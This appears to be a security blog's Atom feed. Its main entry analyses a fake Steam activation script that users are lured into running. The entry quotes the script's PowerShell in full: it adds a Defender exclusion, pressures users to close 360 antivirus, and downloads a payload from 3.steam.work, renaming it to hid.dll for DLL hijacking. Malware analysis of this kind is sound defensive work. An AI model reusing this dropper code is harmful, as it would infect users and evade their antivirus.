<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>0neqiu&#39;s Blog</title>
  
  <subtitle>一叶落而知天下秋</subtitle>
  <link href="https://0neqiu.me/atom.xml" rel="self"/>
  
  <link href="https://0neqiu.me/"/>
  <updated>2025-12-02T12:05:10.571Z</updated>
  <id>https://0neqiu.me/</id>
  
  <author>
    <name>0neqiu</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>[GWCTF 2019]babyvm -- 记一次vm题</title>
    <link href="https://0neqiu.me/uncategorized/GWCTF-2019-babyvm-%E8%AE%B0%E4%B8%80%E6%AC%A1vm%E9%A2%98/"/>
    <id>https://0neqiu.me/uncategorized/GWCTF-2019-babyvm-%E8%AE%B0%E4%B8%80%E6%AC%A1vm%E9%A2%98/</id>
    <published>2025-12-02T19:56:02.000Z</published>
    <updated>2025-12-02T12:05:10.571Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/uncategorized/GWCTF-2019-babyvm-%E8%AE%B0%E4%B8%80%E6%AC%A1vm%E9%A2%98/main.png" alt="VM分析截图"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/uncategorized/GWCTF-2019-babyvm-%E8%AE%B0%E4%B8%80%E6%AC%A1vm%E9%A2%98/main.png&quot; alt=&quot;VM分析截图&quot;&gt;&lt;/p&gt;
</summary>
      
    
    
    
    
    <category term="vm" scheme="https://0neqiu.me/tags/vm/"/>
    
    <category term="re" scheme="https://0neqiu.me/tags/re/"/>
    
  </entry>
  
  <entry>
    <title>fakesteamcdk</title>
    <link href="https://0neqiu.me/uncategorized/fakesteamcdk/"/>
    <id>https://0neqiu.me/uncategorized/fakesteamcdk/</id>
    <published>2025-11-11T20:57:48.000Z</published>
    <updated>2025-12-02T12:05:10.572Z</updated>
    
    <content type="html"><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><hr><p>最近发现了一篇关于 Steam 低价激活脚本分析的文章。早就在 xhh 上听说这种脚本了，很感兴趣，便借着文章浅浅的探究一下。</p><p>核心就两个步骤:</p><ul><li>步骤一：按住键盘win + X，找到powershell（终端管理员）</li><li>步骤二：输入irm 2[.]steam[.]work|iex（已去功能化）</li></ul><p>提一下<code>irm</code>和<code>iex</code>：</p><p><code>irm</code> 是一个用来<strong>从互联网下载内容</strong>的命令。</p><hr><p> 详细一点讲:</p><ul><li><code>irm</code> 其实是 PowerShell 里的一个<strong>别名</strong>。</li><li>它的完整命令是 <code>Invoke-RestMethod</code>。</li><li>它的主要工作是向一个网址（URL）发送请求，并获取服务器返回的数据。</li></ul><p><code>iex</code> 是一个用来<strong>把纯文本（字符串）当作 PowerShell 命令来立即执行</strong>的命令。</p><hr><ul><li><code>iex</code> 也是一个<strong>别名</strong>。</li><li>它的全称是 <code>Invoke-Expression（调用表达式）</code></li><li>它的工作极<strong>其简单粗暴</strong>：你给它一段纯文本（字符串），它会把这段文本当作 PowerShell 命令来立即执行。</li></ul><p>这条指令就是下载 <code>2.steam.work</code> 网址上的所有文本，然后直接通过管道符(|)直接作为输入，给iex执行，这是及其危险的。</p><p>我们这里在虚拟机中利用</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">irm</span> <span class="number">2</span>.steam.work &gt; payload.txt</span><br></pre></td></tr></table></figure><p>来把它的命令下载到文本文件中分析</p><hr><h1 id="PowerShell-命令分析"><a href="#PowerShell-命令分析" class="headerlink" title="PowerShell 命令分析"></a>PowerShell 命令分析</h1><hr><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$steamRegPath</span> = <span class="string">&#x27;HKCU:\Software\Valve\Steam&#x27;</span></span><br><span class="line"><span class="variable">$localPath</span> = <span class="built_in">Join-Path</span> <span class="variable">$env:LOCALAPPDATA</span> <span class="string">&quot;Steam&quot;</span></span><br><span class="line"><span class="keyword">if</span> (<span class="built_in">Test-Path</span> <span class="variable">$steamRegPath</span>) &#123;</span><br><span class="line">    <span class="variable">$properties</span> = <span class="built_in">Get-ItemProperty</span> <span class="literal">-Path</span> <span class="variable">$steamRegPath</span> <span class="literal">-ErrorAction</span> SilentlyContinue</span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$properties</span>.PSObject.Properties.Name <span class="operator">-contains</span> <span class="string">&#x27;SteamPath&#x27;</span>) &#123;</span><br><span class="line">        <span class="variable">$steamPath</span> = <span class="variable">$properties</span>.SteamPath</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>简单的寻找 steam 客户端的安装路径</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$currentPrincipal</span> = <span class="built_in">New-Object</span> Security.Principal.WindowsPrincipal([<span class="type">Security.Principal.WindowsIdentity</span>]::GetCurrent())</span><br><span class="line"><span class="keyword">if</span> (<span class="operator">-not</span> (<span class="variable">$currentPrincipal</span>.IsInRole([<span class="type">Security.Principal.WindowsBuiltInRole</span>]::Administrator))) &#123;</span><br><span class="line">    <span class="variable">$bytes</span> = [<span class="built_in">byte</span>[]](<span class="number">91</span>,<span class="number">232</span>,<span class="number">175</span>,<span class="number">183</span>,<span class="number">233</span>,<span class="number">135</span>,<span class="number">141</span>,<span class="number">230</span>,<span class="number">150</span>,<span class="number">176</span>,<span class="number">230</span>,<span class="number">137</span>,<span class="number">147</span>,<span class="number">229</span>,<span class="number">188</span>,<span class="number">128</span>,<span class="number">80</span>,<span class="number">111</span>,<span class="number">119</span>,<span class="number">101</span>,<span class="number">114</span>,<span class="number">32</span>,<span class="number">115</span>,<span class="number">104</span>,<span class="number">101</span>,<span class="number">108</span>,<span class="number">108</span>,<span class="number">32</span>,<span class="number">230</span>,<span class="number">137</span>,<span class="number">147</span>,<span class="number">229</span>,<span class="number">188</span>,<span class="number">128</span>,<span class="number">230</span>,<span class="number">150</span>,<span class="number">185</span>,<span class="number">229</span>,<span class="number">188</span>,<span class="number">143</span>,<span class="number">228</span>,<span class="number">187</span>,<span class="number">165</span>,<span class="number">231</span>,<span class="number">174</span>,<span class="number">161</span>,<span class="number">231</span>,<span class="number">144</span>,<span class="number">134</span>,<span class="number">229</span>,<span class="number">145</span>,<span class="number">152</span>,<span class="number">232</span>,<span class="number">186</span>,<span class="number">171</span>,<span class="number">228</span>,<span class="number">187</span>,<span class="number">189</span>,<span class="number">232</span>,<span class="number">191</span>,<span class="number">144</span>,<span class="number">232</span>,<span class="number">161</span>,<span class="number">140</span>,<span class="number">93</span>)</span><br><span class="line">    <span class="variable">$text</span> = [<span class="type">System.Text.Encoding</span>]::UTF8.GetString(<span class="variable">$bytes</span>)</span><br><span class="line">    <span class="built_in">Write-Host</span> <span class="variable">$text</span> <span class="literal">-ForegroundColor</span>:red</span><br><span class="line">    <span class="keyword">return</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>检查是否以管理员运行，若否，则输出<code>[请重新打开Power shell 打开方式以管理员身份运行]</code>。</p><p>接下来，脚本定义了一个函数<code>Start-SteamOptimization</code>，并且运行了它。</p><p>我们来分析这个函数:</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="variable">$security360check</span> = <span class="variable">$false</span></span><br><span class="line">    <span class="keyword">if</span>(<span class="built_in">Get-Process</span> <span class="string">&quot;360Tray*&quot;</span> <span class="literal">-ErrorAction</span> SilentlyContinue)&#123;</span><br><span class="line">        <span class="variable">$security360check</span> = <span class="variable">$true</span></span><br><span class="line">        <span class="keyword">while</span>(<span class="built_in">Get-Process</span> <span class="string">&quot;360Tray*&quot;</span> <span class="literal">-ErrorAction</span> SilentlyContinue)&#123;</span><br><span class="line">            <span class="built_in">Write-Host</span> <span class="string">&quot;[360]&quot;</span> <span class="literal">-ForegroundColor</span>:Red</span><br><span class="line">            <span class="built_in">Start-Sleep</span> <span class="number">1.5</span></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="built_in">Start-SteamOptimization</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span>(<span class="built_in">Get-Process</span> <span class="string">&quot;360sd*&quot;</span> <span class="literal">-ErrorAction</span> SilentlyContinue) &#123;</span><br><span class="line">        <span class="variable">$security360check</span> = <span class="variable">$true</span></span><br><span class="line">        <span class="keyword">while</span>(<span class="built_in">Get-Process</span> <span class="string">&quot;360sd*&quot;</span> <span class="literal">-ErrorAction</span> SilentlyContinue)&#123;</span><br><span class="line">            <span class="built_in">Write-Host</span> <span class="string">&quot;[360]&quot;</span> <span class="literal">-ForegroundColor</span>:Red</span><br><span class="line">            <span class="built_in">Start-Sleep</span> <span class="number">1.5</span></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="built_in">Start-SteamOptimization</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$security360check</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">catch</span> &#123;&#125;</span><br></pre></td></tr></table></figure><p>首先它先检查了360的相关进程，如果发现则不断打印红色的[360]，直到用户主动关闭360进程。</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ([<span class="built_in">string</span>]::IsNullOrEmpty(<span class="variable">$steamPath</span>)) &#123;</span><br><span class="line">    <span class="built_in">Write-Host</span> <span class="string">&quot;[Steam]&quot;</span> <span class="literal">-ForegroundColor</span>:Red</span><br><span class="line">    <span class="keyword">return</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">Write-Host</span> <span class="string">&quot;[ServerStart        OK]&quot;</span> <span class="literal">-ForegroundColor</span>:green</span><br></pre></td></tr></table></figure><p>接着它检查你的客户端是否安装了steam(非空)，过完上述检查后，打印服务启动成功。</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="variable">$processes</span> = <span class="built_in">Get-Process</span> <span class="literal">-Name</span> steam* <span class="literal">-ErrorAction</span> SilentlyContinue</span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$processes</span>) &#123;</span><br><span class="line">        <span class="variable">$processes</span> | <span class="built_in">ForEach-Object</span> &#123; <span class="variable">$_</span>.Kill() &#125;</span><br><span class="line">        <span class="built_in">Start-Sleep</span> <span class="number">1.5</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">Get-Process</span> <span class="literal">-Name</span> <span class="string">&quot;steam.exe&quot;</span> <span class="literal">-ErrorAction</span> SilentlyContinue) &#123;</span><br><span class="line">        <span class="variable">$processes</span> = <span class="built_in">Get-Process</span> <span class="literal">-Name</span> <span class="string">&quot;steam.exe&quot;</span> <span class="literal">-ErrorAction</span> SilentlyContinue</span><br><span class="line">        <span class="keyword">if</span> (<span class="variable">$processes</span>) &#123;</span><br><span class="line">            <span class="variable">$processes</span> | <span class="built_in">ForEach-Object</span> &#123; <span class="variable">$_</span>.Kill() &#125;</span><br><span class="line">            <span class="built_in">Start-Sleep</span> <span class="number">1</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">catch</span> &#123;&#125;</span><br></pre></td></tr></table></figure><p>简单来说，该代码段作用为：强行关闭所有正在运行的 Steam 进程</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (<span class="operator">-not</span> (<span class="built_in">Test-Path</span> <span class="variable">$localPath</span>)) &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="built_in">New-Item</span> <span class="literal">-Path</span> <span class="variable">$localPath</span> <span class="literal">-ItemType</span> Directory <span class="literal">-Force</span> <span class="literal">-ErrorAction</span> SilentlyContinue | <span class="built_in">Out-Null</span></span><br><span class="line">        <span class="keyword">if</span> (<span class="operator">-not</span> (<span class="built_in">Test-Path</span> <span class="variable">$localPath</span>)) &#123;</span><br><span class="line">            <span class="built_in">New-Item</span> <span class="variable">$localPath</span> <span class="literal">-ItemType</span> Directory <span class="literal">-Force</span> <span class="literal">-ErrorAction</span> SilentlyContinue | <span class="built_in">Out-Null</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">catch</span> &#123;&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>再次检查steam目录。因为脚本在后续步骤中需要下载（Payload 2）并写入一个名为 <code>localData.vdf</code> 的恶意文件到 <code>$localPath</code> 目录。</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="built_in">Add-MpPreference</span> <span class="literal">-ExclusionPath</span> <span class="variable">$steamPath</span> <span class="literal">-ErrorAction</span> SilentlyContinue</span><br><span class="line">    <span class="built_in">Start-Sleep</span> <span class="number">2</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">catch</span> &#123;&#125;</span><br></pre></td></tr></table></figure><p><code>Add-MpPreference</code>: 这是一个 PowerShell Cmdlet，它的<strong>唯一</strong>作用就是<strong>修改 Microsoft Defender (Windows 默认杀毒软件) 的设置</strong>。</p><p><code>-ExclusionPath $steamPath</code>: 这是它修改的<strong>具体设置</strong>。它告诉 Defender：“请将 <code>$steamPath</code>（即 Steam 的整个安装目录）添加到<strong>‘排除列表’(Exclusion list)</strong> 中。”</p><p>这样就能有效防止恶意dll的报错被杀。</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Write-Host</span> <span class="string">&quot;[Result-&gt;0          OK]&quot;</span> <span class="literal">-ForegroundColor</span>:green</span><br></pre></td></tr></table></figure><p>表示一个阶段的完成</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="variable">$files</span> = <span class="selector-tag">@</span>(</span><br><span class="line">        <span class="string">&quot;version.dll&quot;</span>,</span><br><span class="line">        <span class="string">&quot;user32.dll&quot;</span>,</span><br><span class="line">        <span class="string">&quot;steam.cfg&quot;</span>,</span><br><span class="line">        <span class="string">&quot;hid.dll&quot;</span>,</span><br><span class="line">        <span class="string">&quot;/appcache/packageinfo.vdf&quot;</span></span><br><span class="line">    )</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">foreach</span> (<span class="variable">$file</span> <span class="keyword">in</span> <span class="variable">$files</span>) &#123;</span><br><span class="line">        <span class="variable">$targetPath</span> = <span class="built_in">Join-Path</span> <span class="variable">$steamPath</span> <span class="variable">$file</span></span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">Test-Path</span> <span class="variable">$targetPath</span>) &#123;</span><br><span class="line">            <span class="built_in">Remove-Item</span> <span class="variable">$targetPath</span> <span class="literal">-Force</span> <span class="literal">-ErrorAction</span> SilentlyContinue | <span class="built_in">Out-Null</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="variable">$d</span> = <span class="variable">$steamPath</span> + <span class="string">&quot;/hid&quot;</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">catch</span> &#123;</span><br><span class="line">    <span class="variable">$bytes</span> = [<span class="built_in">byte</span>[]](<span class="number">91</span>,<span class="number">229</span>,<span class="number">188</span>,<span class="number">130</span>,<span class="number">229</span>,<span class="number">184</span>,<span class="number">184</span>,<span class="number">230</span>,<span class="number">174</span>,<span class="number">139</span>,<span class="number">231</span>,<span class="number">149</span>,<span class="number">153</span>,<span class="number">232</span>,<span class="number">175</span>,<span class="number">183</span>,<span class="number">230</span>,<span class="number">140</span>,<span class="number">137</span>,<span class="number">231</span>,<span class="number">133</span>,<span class="number">167</span>,<span class="number">232</span>,<span class="number">183</span>,<span class="number">175</span>,<span class="number">229</span>,<span class="number">190</span>,<span class="number">132</span>,<span class="number">229</span>,<span class="number">136</span>,<span class="number">160</span>,<span class="number">233</span>,<span class="number">153</span>,<span class="number">164</span>,<span class="number">230</span>,<span class="number">150</span>,<span class="number">135</span>,<span class="number">228</span>,<span class="number">187</span>,<span class="number">182</span>,<span class="number">93</span>,<span class="number">45</span>,<span class="number">62</span>)</span><br><span class="line">    <span class="variable">$text</span> = [<span class="type">System.Text.Encoding</span>]::UTF8.GetString(<span class="variable">$bytes</span>)</span><br><span class="line">    <span class="built_in">Write-Host</span> <span class="string">&quot;<span class="variable">$text</span>[<span class="variable">$d</span>]&quot;</span> <span class="literal">-ForegroundColor</span>:red</span><br><span class="line">    <span class="keyword">return</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>尝试清除<strong>“同类”</strong>的文件，如果自动失败就打印<code>[异常残留请按照路径删除文件]-&gt; +路径</code>，让用户手动清理。</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$downApi</span> = <span class="string">&quot;http://3.steam.work/api/v1/download/pwsDown&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="built_in">irm</span> <span class="literal">-Uri</span> <span class="variable">$downApi</span> <span class="literal">-Method</span> Post <span class="literal">-Headers</span> <span class="selector-tag">@</span>&#123; Referer = <span class="string">&quot;libary&quot;</span> &#125; <span class="literal">-OutFile</span> <span class="variable">$d</span> <span class="literal">-ErrorAction</span> Stop</span><br><span class="line">    <span class="variable">$newFilePath</span> = [<span class="type">System.IO.Path</span>]::ChangeExtension(<span class="variable">$d</span>, <span class="string">&quot;.dll&quot;</span>)</span><br><span class="line">    <span class="built_in">Rename-Item</span> <span class="literal">-Path</span> <span class="variable">$d</span> <span class="literal">-NewName</span> <span class="variable">$newFilePath</span></span><br><span class="line">    </span><br><span class="line">    <span class="built_in">Write-Host</span> <span class="string">&quot;[Result-&gt;1          OK]&quot;</span> <span class="literal">-ForegroundColor</span>:green</span><br><span class="line">    <span class="variable">$d</span> = <span class="variable">$localPath</span> + <span class="string">&quot;/localData.vdf&quot;</span></span><br><span class="line">    <span class="built_in">irm</span> <span class="literal">-Uri</span> <span class="variable">$downApi</span> <span class="literal">-Method</span> Post <span class="literal">-Headers</span> <span class="selector-tag">@</span>&#123; Referer = <span class="string">&quot;localData.vdf&quot;</span> &#125; <span class="literal">-OutFile</span> <span class="variable">$d</span> <span class="literal">-ErrorAction</span> Stop</span><br><span class="line">    <span class="built_in">Write-Host</span> <span class="string">&quot;[Result-&gt;2          OK]&quot;</span> <span class="literal">-ForegroundColor</span>:green</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">Start-Sleep</span> <span class="number">1</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">catch</span> &#123;</span><br><span class="line">    <span class="built_in">Write-Host</span> <span class="string">&quot;[Download Failed]&quot;</span> <span class="literal">-ForegroundColor</span>:Red</span><br><span class="line">    <span class="keyword">return</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>主要是以特定方式请求，来下载相对应的文件。</p><p><code>Rename-Item -Path $d -NewName $newFilePath</code>：<strong>这是实现 DLL 劫持的关键。</strong> 脚本先下载一个<strong>没有后缀</strong>的文件（<code>hid</code>），然后再<strong>将其重命名</strong>为 <code>hid.dll</code>。</p><p><strong>意图：</strong> 直接下载 <code>.dll</code> 文件很容易被杀毒软件或防火墙拦截。通过“先下载，再重命名”的策略，大大提高了绕过检测的成功率。</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">   <span class="keyword">try</span> &#123;</span><br><span class="line">       <span class="built_in">Start-Process</span> <span class="string">&quot;steam://&quot;</span> <span class="literal">-ErrorAction</span> SilentlyContinue</span><br><span class="line">       <span class="variable">$bytes</span> = [<span class="built_in">byte</span>[]](<span class="number">91</span>,<span class="number">232</span>,<span class="number">191</span>,<span class="number">158</span>,<span class="number">230</span>,<span class="number">142</span>,<span class="number">165</span>,<span class="number">230</span>,<span class="number">156</span>,<span class="number">141</span>,<span class="number">229</span>,<span class="number">138</span>,<span class="number">161</span>,<span class="number">229</span>,<span class="number">153</span>,<span class="number">168</span>,<span class="number">230</span>,<span class="number">136</span>,<span class="number">144</span>,<span class="number">229</span>,<span class="number">138</span>,<span class="number">159</span>,<span class="number">229</span>,<span class="number">156</span>,<span class="number">168</span>,<span class="number">83</span>,<span class="number">116</span>,<span class="number">101</span>,<span class="number">97</span>,<span class="number">109</span>,<span class="number">229</span>,<span class="number">133</span>,<span class="number">165</span>,<span class="number">230</span>,<span class="number">191</span>,<span class="number">128</span>,<span class="number">230</span>,<span class="number">180</span>,<span class="number">187</span>,<span class="number">32</span>,<span class="number">51</span>,<span class="number">231</span>,<span class="number">167</span>,<span class="number">146</span>,<span class="number">229</span>,<span class="number">144</span>,<span class="number">142</span>,<span class="number">232</span>,<span class="number">135</span>,<span class="number">170</span>,<span class="number">229</span>,<span class="number">138</span>,<span class="number">168</span>,<span class="number">229</span>,<span class="number">133</span>,<span class="number">179</span>,<span class="number">233</span>,<span class="number">151</span>,<span class="number">173</span>,<span class="number">93</span>)</span><br><span class="line">       <span class="variable">$text</span> = [<span class="type">System.Text.Encoding</span>]::UTF8.GetString(<span class="variable">$bytes</span>)</span><br><span class="line">       <span class="built_in">Write-Host</span> <span class="variable">$text</span> <span class="literal">-ForegroundColor</span>:green</span><br><span class="line">       <span class="built_in">Start-Sleep</span> <span class="number">3</span></span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">catch</span> &#123;</span><br><span class="line">       <span class="built_in">Write-Host</span> <span class="string">&quot;[Steam Start Failed]&quot;</span> <span class="literal">-ForegroundColor</span>:Red</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">exit</span></span><br></pre></td></tr></table></figure><p><strong>触发攻击</strong>：启动 Steam，使其加载刚刚植入的恶意 DLL。</p><p>注：<code>steam://</code> 是一个 URL 协议，Windows 会用它来启动 Steam 客户端。</p><p>顺便一提登陆成功后<code>Start-Process</code> 命令才会<strong>返回</strong>，输出<code>[连接服务器成功在Steam入激活 3秒后自动关闭]</code>，接着自然退出。</p><p><del>二进制文件后面有空再分析吧</del></p><h1 id="关于空catch块"><a href="#关于空catch块" class="headerlink" title="关于空catch块"></a>关于空catch块</h1><h2 id="没有-try-catch-的情况-正常情况"><a href="#没有-try-catch-的情况-正常情况" class="headerlink" title="没有 try...catch 的情况 (正常情况)"></a>没有 <code>try...catch</code> 的情况 (正常情况)</h2><p>在 PowerShell 中，当一个命令遇到“终止性错误”时，它会：</p><ol><li><strong>立即停止</strong>脚本的执行。</li><li>在控制台上<strong>打印出红色的、详细的错误信息</strong>。</li></ol><h2 id="2-使用了空的-catch-块-恶意软件的情况"><a href="#2-使用了空的-catch-块-恶意软件的情况" class="headerlink" title="2. 使用了空的 catch {} 块 (恶意软件的情况)"></a>2. 使用了空的 <code>catch &#123;&#125;</code> 块 (恶意软件的情况)</h2><p><code>try...catch</code> 结构就是为了改变这种默认行为而设计的。</p><ul><li><strong>try { … }</strong> 的意思是：“<strong>尝试</strong>运行这里的代码。”</li><li><strong>catch { … }</strong> 的意思是：“如果 <code>try</code> 块中的代码<strong>失败</strong>了，<strong>不要崩溃</strong>，而是继续运行这里的代码。”</li></ul><p>当 <code>catch</code> 块是<strong>空</strong>的时候，它的意思就变成了：“如果 <code>try</code> 块失败了，<strong>什么也不要做</strong>。不要打印信息，不要停止脚本，就假装什么都没发生过，然后继续往下走。”</p><h1 id="文件篡改后果"><a href="#文件篡改后果" class="headerlink" title="文件篡改后果"></a>文件篡改后果</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"># 原始 Steam 文件结构</span><br><span class="line">Steam/</span><br><span class="line">├── steam.exe</span><br><span class="line">├── steamapps/</span><br><span class="line">├── user32.dll    # 合法Windows组件</span><br><span class="line">├── hid.dll       # 合法HID驱动</span><br><span class="line">└── steam.cfg     # 客户端配置文件</span><br><span class="line"></span><br><span class="line"># 脚本修改后</span><br><span class="line">Steam/</span><br><span class="line">├── steam.exe</span><br><span class="line">├── steamapps/</span><br><span class="line">├── hid.dll       # 被替换为未知文件</span><br><span class="line">└── localData.vdf # 新增可疑配置文件</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h1&gt;&lt;hr&gt;
&lt;p&gt;最近发现了一篇关于 Steam 低价激活脚本分析的文章。早就在 xhh 上听说这种脚本了，很感兴趣，便借着文章浅浅的探究一下。&lt;/</summary>
      
    
    
    
    
    <category term="pc样本分析" scheme="https://0neqiu.me/tags/pc%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/"/>
    
    <category term="powershell" scheme="https://0neqiu.me/tags/powershell/"/>
    
  </entry>
  
  <entry>
    <title>LLVM学习笔记(In Progress)</title>
    <link href="https://0neqiu.me/uncategorized/LLVM%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <id>https://0neqiu.me/uncategorized/LLVM%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</id>
    <published>2025-09-22T18:54:17.000Z</published>
    <updated>2025-12-02T12:05:10.572Z</updated>
    
